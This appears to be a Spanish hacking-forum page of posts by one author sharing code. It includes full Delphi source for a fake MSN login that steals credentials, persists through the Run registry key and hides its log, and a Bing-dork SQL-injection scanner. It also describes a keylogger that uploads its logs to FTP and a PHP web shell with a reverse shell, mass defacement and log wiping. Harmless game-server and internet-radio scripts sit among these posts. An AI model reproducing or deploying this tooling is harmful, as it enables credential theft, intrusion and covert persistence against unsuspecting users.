Mensajes

Aca les traigo la nueva version de este Fake MSN hecho en delphi.

Con las siguientes opciones :

• El programa al cargarse se mueve automaticamente a la carpeta de windows
  
• El programa se ejecuta cuando Windows se inicia
  
• Se ocultan los archivos relacionados al programa
  
• Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos
  
  Una imagen
  
  
  
  El codigo
  
  
  Código (delphi) [Seleccionar] Expandir
  
{
Fake MSN 0.2
Coded By Doddy H
}

unit fake;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Edit1: TEdit;
    Edit2: TEdit;
    Image2: TImage;
    procedure Edit1Click(Sender: TObject);
    procedure Edit2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Image2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Edit1Click(Sender: TObject);
begin
  Edit1.Text := '';
end;

procedure TForm1.Edit2Click(Sender: TObject);
begin
  Edit2.Text := '';
  Edit2.PasswordChar := '*';
end;

procedure TForm1.FormCreate(Sender: TObject);

var nombrereal: string;
  rutareal: string;
  yalisto: string;
  her: TRegistry;

begin

  nombrereal := ExtractFileName(ParamStr(0));
  rutareal := ParamStr(0);
  yalisto := 'C:\WINDOWS\' + nombrereal;

  MoveFile(Pchar(rutareal), Pchar(yalisto));

  her := TRegistry.Create;
  her.RootKey := HKEY_LOCAL_MACHINE;

  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  her.WriteString('uber', yalisto);
  her.Free;

  SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);

end;

procedure TForm1.Image2Click(Sender: TObject);

var archivo: TextFile;
  ruta: string;

begin

  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  begin
    WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
  end
  else
  begin

    if Edit1.Text = '' then
    begin
      ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
    end;
    if Edit2.Text = '' then
    begin
      ShowMessage('Escribe tu contraseña');
    end
    else
    begin
      if Edit2.Text = 'Escribe aqui tu contraseña' then
      begin
        ShowMessage('Escribe tu contraseña');
      end
      else
      begin
        ruta := 'c:/windows/datos.txt'; //mod
        if FileExists(ruta) then
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          Append(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
          Form1.Close;
        end
        else
        begin
          AssignFile(archivo, ruta);
          FileMode := fmOpenWrite;
          ReWrite(archivo);
          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
          CloseFile(archivo);
          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
          Form1.Close;
        end;
      end;
    end;
  end;

end;

end.

// The End ?

  
  Si quieren bajar el proyecto + el programa compilado lo pueden hacer de aca.
  
  Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).
  
  

ja , yo nunca busco nacionales porque me da lo mismo , de hecho juego al half life con rusos en el mapa crossfire xDDD.

Lo mismo que el otro buscador pero esta vez para CS 1.6

El codigo

Código (perl) [Seleccionar] Expandir


#!usr/bin/perl
#Counter Strike 1.6 Servers List
#Version 0.1
#Coded By Doddy H

use LWP::UserAgent;
use Cwd;
use Time::HiRes "usleep";

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my @founds;
my @founds_final;

head();

print "[+] Pages (1-899) : ";
chomp( my $pag = <stdin> );

print "\n\n[+] Searching Servers ....\n";

for my $count ( 1 .. $pag ) {

    my $code =
      toma( "http://www.gametracker.com/search/cs/?searchipp=50&searchpge="
          . $count );

    my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;

    for (@found) {
        push( @founds_final, $_ );
    }

}

my @founds_final = repes(@founds_final);

print "\n[+] Servers Found : " . int(@founds_final);

my $ruta_logs = getcwd() . "/" . "cs_servers.txt";

if ( -f $ruta_logs ) {
    unlink($ruta_logs);
}

open( LOGS, ">>cs_servers.txt" );

for (@founds_final) {
    print LOGS $_ . "\n";
}

close LOGS;

print "\n\n[+] All results are stored in : $ruta_logs\n";

if ( -f $ruta_logs ) {
    system($ruta_logs);
}

copyright();

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#       Counter Strike 1.6 Servers List       #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2012 == --");

    print "\n\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?


Este script se encarga de buscar servers del juego Half Life para entrar y jugar , los resultados se guardan en un archivo de texto.

El codigo

Código (perl) [Seleccionar] Expandir


#!usr/bin/perl
#Half Life Servers List 0.1
#Coded By Doddy H

use LWP::UserAgent;
use Cwd;
use Time::HiRes "usleep";

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my @founds;
my @founds_final;

head();

print "[+] Searching Servers ....\n";

for my $count ( 1 .. 2 ) {

    my $code =
      toma( "http://www.game-monitor.com/search.php?game=valve&pg="
          . $count
          . "&num=100" );

    my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;

    for (@found) {
        push( @founds_final, $_ );
    }

}

my @founds_final = repes(@founds_final);

print "\n[+] Servers Found : " . int(@founds_final);

my $ruta_logs = getcwd() . "/" . "hl_servers.txt";

if ( -f $ruta_logs ) {
    unlink($ruta_logs);
}

open( LOGS, ">>hl_servers.txt" );

for (@founds_final) {
    print LOGS $_ . "\n";
}

close LOGS;

print "\n\n[+] All results are stored in : $ruta_logs\n";

if ( -f $ruta_logs ) {
    system($ruta_logs);
}

copyright();

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#         Half Life Servers List 0.1          #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2012 == --");

    print "\n\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

sub repes {
    my @limpio;
    foreach $test (@_) {
        push @limpio, $test unless $repe{$test}++;
    }
    return @limpio;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

#The End ?


Un simple keylogger en Perl con las siguientes opciones :

• Capturar teclas reconociendo mayusculas y minusculas asi como signos
  
• Capturar ventanas activas
  
• Capturar el escritorio de windows cada cierto tiempo o cada click del mouse
  
• Oculta archivos relacionados al programa
  
• Compresion de los logs a zip
  
• Logs ordenados en un archivo HTML
  
• Subir logs a un servidor FTP marcado
  
• Ejecutarse cuando se inicie Windows
  
  Una imagen del generador del keylogger
  
  
  
  El codigo esta aca.
  
  Tambien le doy las gracias a Mdh3ll que creo el primer keylogger en perl y del cual me base en parte para hacer este programa.
  
  

Un simple script para buscar en bing paginas vulnerables a SQLi.



El codigo

Código (python) [Seleccionar] Expandir


#!usr/bin/python
#BingHack Tool 0.1
#Coded By Doddy H

import sys,urllib2,re
from PyQt4 import QtCore,QtGui

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def sql(webs):
for web in webs :
  if re.findall("=",web):
   web = re.split("=",web)
   web = web[0]+"="
   app.processEvents()
   try:
    code = toma(web+"-1+union+select+1--")
    if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
     new.console.appendPlainText("[SQLI] : "+web)
   except:
    pass

def limpiar(pag):

limpia = []
for p in pag:
  if p not in limpia:
   limpia.append(p)
return limpia

def buscar(dork,count):

pag = []
s = 10 

new.console.appendPlainText("[+] Searching pages ....")

while s <= int(count):
  try:
   code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
   d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
   s += 10
   for a in d:
    pag.append(a)
  except:
   pass

new.console.appendPlainText("[+] Cleaning ...")

pag = limpiar(pag)
return pag

def scan():

new.console.clear()
pages = buscar(new.dork.text(),new.pages.text())
new.console.appendPlainText("[+] Scanning ...\n")
sql(pages)
new.console.appendPlainText("\n[+] Finished")

app = QtGui.QApplication(sys.argv)

new = QtGui.QWidget()

new.setWindowTitle("BingHack Tool 0.1 || Coded By Doddy H")
new.resize(450,470)
new.setStyleSheet("QWidget {background-color: #000000;color: #FF8000}")

new.label1 = QtGui.QLabel("Dork : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
new.label1.setGeometry(30,23,80,20)

new.dork = QtGui.QLineEdit(new)
new.dork.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
new.dork.setGeometry(90,23,200,25)

new.label1 = QtGui.QLabel("Pages : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
new.label1.setGeometry(30,60,80,20)

new.pages = QtGui.QLineEdit(new)
new.pages.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
new.pages.setGeometry(100,60,50,25)

new.search = QtGui.QPushButton("Scan",new)
new.search.setGeometry(305,22,110,28)
new.search.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")

new.label2 = QtGui.QLabel("Console",new)
new.label2.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
new.label2.setGeometry(185,110,70,20)

new.console = QtGui.QPlainTextEdit(new)
new.console.setGeometry(50,150,350,300)
new.console.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")

new.connect(new.search,QtCore.SIGNAL("clicked()"),scan)

new.show()

sys.exit(app.exec_())

# The End ?


Un simple script para crackear un hash MD5 mediante una pagina que ofrece ese servicio.

Una imagen de como quedo



El codigo

Código (python) [Seleccionar] Expandir


#!usr/bin/python
#MD5 Crack Online 0.1
#Coded By Doddy H
#Test with 098f6bcd4621d373cade4e832627b4f6

import sys,urllib2,re
from PyQt4 import QtCore,QtGui

def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()

def crackit(hash):
if(len(hash) == 32):
 code = toma("http://md5.hashcracking.com/search.php?md5="+hash)
 if (re.findall("Cleartext of "+hash+" is (.*)",code)):
  rex = re.findall("Cleartext of "+hash+" is (.*)",code)
  return rex[0]
 else:
  return "Not Found"
else:
 print "Hash invalid"

def crack():
new.result.setText(crackit(str(new.md5.text())))

app = QtGui.QApplication(sys.argv)

new = QtGui.QWidget()

new.setWindowTitle("MD5 Crack Online 0.1 || Coded By Doddy H")
new.resize(800,70)
new.setStyleSheet("QWidget {background-color: #000000;color: #00FFFF}")

new.label1 = QtGui.QLabel("MD5 : ",new)
new.label1.setStyleSheet("QWidget {background-color: #000000;color: #00FFFF;font: normal 17px Verdana}")
new.label1.setGeometry(20,23,80,20)

new.md5 = QtGui.QLineEdit(new)
new.md5.setStyleSheet("QWidget {background-color: #000000; color: #00FFFF;border: 2px solid #00FFFF}")
new.md5.setGeometry(75,23,247,25)

new.label2 = QtGui.QLabel("Result : ",new)
new.label2.setStyleSheet("QWidget {background-color: #000000;color: #00FFFF;font: normal 17px Verdana}")
new.label2.setGeometry(335,23,80,20)

new.result = QtGui.QLineEdit(new)
new.result.setStyleSheet("QWidget {background-color: #000000; color: #00FFFF;border: 2px solid #00FFFF}")
new.result.setGeometry(410,23,230,25)

new.search = QtGui.QPushButton("Crack",new)
new.search.setGeometry(660,23,120,28)
new.search.setStyleSheet("QWidget {background-color: #000000; color: #00FFFF;border: 2px solid #00FFFF}")

new.connect(new.search,QtCore.SIGNAL("clicked()"),crack)

new.show()

sys.exit(app.exec_())

# The End ?


Estaba harto de escuchar siempre la misma cancion asi que mejore este script para poder escuchar musica con los siguientes generos.

• Rock'n'Roll
  
• Pop
  
• Ambient
  
• Trance
  
• House
  
• Y otros mas .......
  
  
  Aclaro que necesitan bajar el mplayer , esta el link de descarga en el script , una vez que lo tengan descargado y descomprimido creen una carpeta llamada
  "mplayer" y copian todos los archivos del archivo descomprimido en la carpeta recien creada , todo esto tiene que ser en el mismo directorio donde este el script.
  
  El codigo es el siguiente
  
  
  Código (perl) [Seleccionar] Expandir
  
#!usr/bin/perl
#Radio X
#Version 0.2
#Coded By Doddy H
#
#Download : http://www.mplayerhq.hu/MPlayer/releases/win32/MPlayer-mingw32-1.0rc2.zip
#

use Cwd;

my @emisoras = (

    {},

    {

        "nombre" => "Absolute Classic Rock (Broadband)",
        "genero" => "Rock'n'Roll",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vcbb"

    },

    {

        "nombre" => "Absolute Classic Rock (Modem)",
        "genero" => "Rock'n'Roll",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vc"

    },

    {

        "nombre" => "Absolute Radio (Broadband)",
        "genero" => "Pop",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vrbb"

    },

    {

        "nombre" => "Absolute Radio (Modem)",
        "genero" => "Pop",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vr"

    },

    {

        "nombre" => "Absolute Xtreme (Broadband)",
        "genero" => "Modern Rock",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vxbb"

    },

    {

        "nombre" => "Absolute Xtreme (Modem)",
        "genero" => "Modern Rock",
        "link" =>
"http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vx"

    },

    {

        "nombre" => "HBR1.com - Dream Factory",
        "genero" => "Ambient",
        "link"   => "http://ubuntu.hbr1.com:19800/ambient.ogg"

    },

    {

        "nombre" => "HBR1.com - I.D.M. Tranceponder",
        "genero" => "Trance",
        "link"   => "http://ubuntu.hbr1.com:19800/trance.ogg"

    },

    {

        "nombre" => "HBR1.com - Tronic Lounge",
        "genero" => "House",
        "link"   => "http://ubuntu.hbr1.com:19800/tronic.ogg"

    },

    {

        "nombre" => "NRK Alltid Klassisk (Norway)",
        "genero" => "Desconocido",
        "link" =>
          "http://media.hiof.no/streams/m3u/nrk-alltid-klassisk-172.ogg.m3u"

    },

    {

        "nombre" => "NRK Alltid Nyheter (Norway)",
        "genero" => "Desconocido",
        "link" =>
          "http://media.hiof.no/streams/m3u/nrk-alltid-nyheter-172.ogg.m3u"

    },

    {

        "nombre" => "NRK mP3 (Norway)",
        "genero" => "Desconocido",
        "link"   => "http://media.hiof.no/streams/m3u/nrk-mpetre-172.ogg.m3u"

    },

    {

        "nombre" => "NRK P1 (Norway)",
        "genero" => "General",
        "link"   => "http://media.hiof.no/streams/m3u/nrk-p1-172.ogg.m3u",

    },

    {

        "nombre" => "NRK P2 (Norway)",
        "genero" => "General",
        "link"   => "http://media.hiof.no/streams/m3u/nrk-p2-172.ogg.m3u"

    },

    {

        "nombre" => "NRK P3 (Norway)",
        "genero" => "General",
        "link"   => "http://media.hiof.no/streams/m3u/nrk-petre-172.ogg.m3u"

    },

    {

        "nombre" => "WKNC 88.1 FM (NC State) (High Quality)",
        "genero" => "Music",
        "link"   => "http://wknc.sma.ncsu.edu:8000/wknchq.ogg.m3u"

    },

    {

        "nombre" => "WKNC 88.1 FM (NC State) (Low Quality)",
        "genero" => "Music",
        "link"   => "http://wknc.sma.ncsu.edu:8000/wkncmq.ogg.m3u"

    }

);

$SIG{INT} = \&retorno;

chdir( getcwd() . "/mplayer/" );

menu();

sub retorno {
    print "\n\n[+] Press any key for return to the menu\n\n";
    <stdin>;
    menu();
}

sub menu {

    head();

    for my $em ( 1 .. @emisoras - 1 ) {

        print "\n[+] Number : " . $em . "\n";
        print "[+] Name : " . $emisoras[$em]->{nombre} . "\n";
        print "[+] Station : " . $emisoras[$em]->{genero} . "\n";

    }

    print "\n\n[+] Option : ";
    chomp( my $op = <stdin> );

    if ( $op =~ /\d+/ ) {
        system("mplayer $emisoras[$op]->{link}");
    }

    copyright();

}

sub head {

    clean();

    print qq(


@@@@@     @    @@@@    @   @@@@     @     @
@    @    @    @   @   @  @    @    @     @
@    @   @ @   @    @  @  @    @     @   @
@    @   @ @   @    @  @  @    @      @ @ 
@@@@@   @   @  @    @  @  @    @       @   
@    @  @   @  @    @  @  @    @      @ @ 
@    @  @@@@@  @    @  @  @    @     @   @
@    @ @     @ @   @   @  @    @    @     @
@    @ @     @ @@@@    @   @@@@     @     @



);

}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}

sub clean {
    my $os = $^O;
    if ( $os =~ /Win32/ig ) {
        system("cls");
    }
    else {
        system("clear");
    }
}

#The End ?

  
  Ejemplo de uso
  
  
  Código [Seleccionar] Expandir
  



@@@@@     @    @@@@    @   @@@@     @     @
@    @    @    @   @   @  @    @    @     @
@    @   @ @   @    @  @  @    @     @   @
@    @   @ @   @    @  @  @    @      @ @
@@@@@   @   @  @    @  @  @    @       @
@    @  @   @  @    @  @  @    @      @ @
@    @  @@@@@  @    @  @  @    @     @   @
@    @ @     @ @   @   @  @    @    @     @
@    @ @     @ @@@@    @   @@@@     @     @




[+] Number : 1
[+] Name : Absolute Classic Rock (Broadband)
[+] Station : Rock'n'Roll

[+] Number : 2
[+] Name : Absolute Classic Rock (Modem)
[+] Station : Rock'n'Roll

[+] Number : 3
[+] Name : Absolute Radio (Broadband)
[+] Station : Pop

[+] Number : 4
[+] Name : Absolute Radio (Modem)
[+] Station : Pop

[+] Number : 5
[+] Name : Absolute Xtreme (Broadband)
[+] Station : Modern Rock

[+] Number : 6
[+] Name : Absolute Xtreme (Modem)
[+] Station : Modern Rock

[+] Number : 7
[+] Name : HBR1.com - Dream Factory
[+] Station : Ambient

[+] Number : 8
[+] Name : HBR1.com - I.D.M. Tranceponder
[+] Station : Trance

[+] Number : 9
[+] Name : HBR1.com - Tronic Lounge
[+] Station : House

[+] Number : 10
[+] Name : NRK Alltid Klassisk (Norway)
[+] Station : Desconocido

[+] Number : 11
[+] Name : NRK Alltid Nyheter (Norway)
[+] Station : Desconocido

[+] Number : 12
[+] Name : NRK mP3 (Norway)
[+] Station : Desconocido

[+] Number : 13
[+] Name : NRK P1 (Norway)
[+] Station : General

[+] Number : 14
[+] Name : NRK P2 (Norway)
[+] Station : General

[+] Number : 15
[+] Name : NRK P3 (Norway)
[+] Station : General

[+] Number : 16
[+] Name : WKNC 88.1 FM (NC State) (High Quality)
[+] Station : Music

[+] Number : 17
[+] Name : WKNC 88.1 FM (NC State) (Low Quality)
[+] Station : Music


[+] Option : 7
MPlayer 1.0rc2-4.2.1 (C) 2000-2007 MPlayer Team
CPU: AMD Sempron(tm) 140 Processor (Family: 16, Model: 6, Stepping: 2)
CPUflags:  MMX: 1 MMX2: 1 3DNow: 1 3DNow2: 1 SSE: 1 SSE2: 1
Compiled with runtime CPU detection.

Playing http://ubuntu.hbr1.com:19800/ambient.ogg.
Resolving ubuntu.hbr1.com for AF_INET...
Connecting to server ubuntu.hbr1.com[93.94.83.51]: 19800...
Cache size set to 320 KBytes
Cache fill: 15.00% (49152 bytes)
[Ogg] stream 0: audio (Vorbis), -aid 0
Ogg file format detected.
Clip info:
Artist: A.C.E. (chillgressive tunes)
Name: Acid Chill Experience (DJ-Set, exclusive 4 hbr1.com)
Album: hbr1.com
Genre: Ambient
Track: 1
==========================================================================
Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
Ogg : bad packet in stream 0
AUDIO: 44100 Hz, 2 ch, s16le, 64.0 kbit/4.54% (ratio: 8000->176400)
Selected audio codec: [ffvorbis] afm: ffmpeg (FFmpeg Vorbis decoder)
==========================================================================
AO: [dsound] 44100Hz 2ch s16le (2 bytes per sample)
Video: no video
Starting playback...


gracias por las sugerencias pero la calabera se queda , me produce nostalgia xDD.

Bue , no toleraba ver el codigo de mi poisonshell sin identar asi que idente el codigo y le arregle otros errores pero ninguna opcion nueva que comentar xDDD.

Las opciones desde siempre.

-- == Funciones == --

• Informacion : sobre el servidor web
  
  
• Navegacion de archivos y directorios :
  
  * En esta opcion pueden editar , borrar ,renombrar y descargar archivos
  * Tambien podes crear directorios nuevos
  
  
• Ejecutar comandos
  
  
• Subir archivos a un directorio especifico
  
  
• Base64 encode() decode()
  
  
• Ejecutar codigo php con eval()
  
  
• Cargar phpinfo()
  
  
• Crackear hash md5 con salto o sin salto
  
  
• BackShell : en esta version solo esta un reverse shell en perl hecho por mi
  
  
• MassDefacement : masivo deface a un directorio y todos sus subdirectorios que le sigan
  
  
• CleanLogs : limpia logs de linux
  
  
• Deteccion de archivo /etc/passwd o SAM para descargar
  
  
• Cracker para FTP Y Mysql
  
  
• PortScanner
  
  
• MailBomber para varios emails
  
  
• Posibilidad de buscar kernel en DB Exploit
  
  
• ProxyWeb
  
  
• Encode para md5,sha1,crc32
  
  
• FTP
  
  * Crear directorios nuevos
  * Este cliente FTP permite navegar a traves de los directorios y archivos
  * Borrar archivos
  * Cambiar permisos de archivos
  * Descargar archivos
  
  
• SQL Manager
  
  * Podes navegar a traves de la base datos podiendo ver todas
  las bases de datos y tablas activas
  * Ejecutar sentencias SQL
  * Descargar tablas
  * Descargar bases de datos
  
  
• Cookies Manager
  
  * En esta opcion podemos ver todos los cookies activos
  * Podemos crear un cookie con el valor que queremos
  
  
• Session Manager
  
  * En esta opcion podemos ver todas las sesiones activas
  * Podemos crear una sesion con el valor que queremos
  
  
• Shell Protegida con user y pass
  
  
• Autodestruccion de la shell
  
  -- == --
  
  El codigo esta aca
  
  
  Código [Seleccionar] Expandir
  
http://pastebin.com/N03AJbm3

  
  Una imagen